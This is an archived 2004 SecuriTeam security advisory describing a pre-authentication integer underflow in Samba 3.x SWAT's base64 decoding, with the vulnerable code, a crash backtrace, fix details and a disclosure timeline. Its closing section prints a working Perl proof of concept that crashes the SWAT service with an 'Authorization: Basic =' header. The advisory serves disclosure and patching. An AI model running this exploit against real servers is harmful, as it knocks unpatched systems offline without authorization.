[UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow
From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/04
- Previous message: SecuriTeam: "[UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 22 Jul 2004 20:16:19 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Samba 3.x SWAT Preauthentication Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.samba.org/> SWAT is a "Samba Web Administration Tool", there
exists a remote pre-authentication buffer overflow in Samba 3.x SWAT
administration service.
DETAILS
Vulnerable Systems:
* Samba version 3.0.4 and prior
Immune Systems:
* Samba version 3.0.5 or newer
Technical details:
In the source/lib/util_str.c file the function base64_decode_data_blob has
the following lines:
int bit_offset, byte_offset, idx, i, n;
..
..
if (*s == '=') n -= 1
/* fix up length */
decoded.length = n;
return decoded;
As can be seen 'n' is defined as int. And if the character '=' is the last
one to arrive, we deduct 1 from the value of 'n'. This logic causes a
problem if no incoming data arrives (beside the character '='), or none of
it is relevant to the base64 decoding, as the number 1 will be deducted
from the number 0, causing an underflow of the integer.
As this integer is then used as the value for decoded.length that is used
in by the following code:
DATA_BLOB decoded = base64_decode_data_blob(s);
memcpy(s, decoded.data, decoded.length);
/* null terminate */
s[decoded.length] = '\0';
The following fault occurs:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30853]
0x410957af in memcpy () from /lib/tls/libc.so.6
(gdb) bt
#0 0x410957af in memcpy () from /lib/tls/libc.so.6
#1 0xbffff340 in ?? ()
#2 0x00000001 in ?? ()
#3 0x080e34e7 in ?? ()
#4 0xbffff5e5 in ?? ()
#5 0x082919a0 in ?? ()
#6 0xffffffff in ?? ()
#7 0x080e08f0 in ?? ()
Fix:
Upgrade to Samba 3.0.5 which fixes this problem is available:
<http://www.samba.org/samba/whatsnew/samba-3.0.5.html>
http://www.samba.org/samba/whatsnew/samba-3.0.5.html
History:
28 April 2004 - vulnerability has been discovered during Samba source code
audit by Evgeny Demidov
29 April 2004 - vulnerability details has been made available to VulnDisco
clients
14 Jule 2004 - vulnerability has been reported to Samba Team
22 Jule 2004 - public release of the advisory
Exploit:
The following brief proof of concept will crash the SWAT server with a
SIGSEGV:
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#
use IO::Socket;
use strict;
my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "901" );
unless ($remote) { die "cannot connect to http daemon on $host" }
print "connected\n";
$remote->autoflush(1);
my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";
print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";
while (<$remote>)
{
print $_;
}
print "\n";
close $remote;
ADDITIONAL INFORMATION
The information has been provided by <mailto:demidov@gleg.net> Evgeny
Demidov.
The technical details and exploit code have been provided by
<expert@securiteam.com> Noam Rathaus.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] Samba SAMR Change Password Command Injection Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Remote exploitation of a command
injection vulnerability within Samba ... arbitrary shell commands with the privileges
of the nobody user. ... (Securiteam) - [UNIX] Samba 3.x QFILEPATHINFO Unicode Filename Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Samba is an Open Source/Free
Software suite that provides seamless file ... September 2004 - Disclosure was delayed
on our side because of another ... vulnerability affects default installations of Samba
3.x and therefore any ... (Securiteam) - [UNIX] Samba Services Remote Denial Of Service Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A remote attacker is able to crash
the Samba nmbd service thereby creating ... sending multiple malformed requests
to an affected server. ... (Securiteam) - [UNIX] Samba smbd Security Descriptor Integer Overflow Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Remote exploitation of an integer
overflow vulnerability in all versions ... * Samba version 3.0.8 ... An attacker
could supply data to the server which would cause the heap to ... (Securiteam) - [UNIX] Samba Arbitrary File Access Vulnerability
... The following security advisory is sent to the securiteam mailing list, and
can be found at the SecuriTeam web site: http://www.securiteam.com ... Remote exploitation of
an input validation vulnerability in Samba allows ... Successful exploitation allows remote
attackers to bypass the specified ... (Securiteam)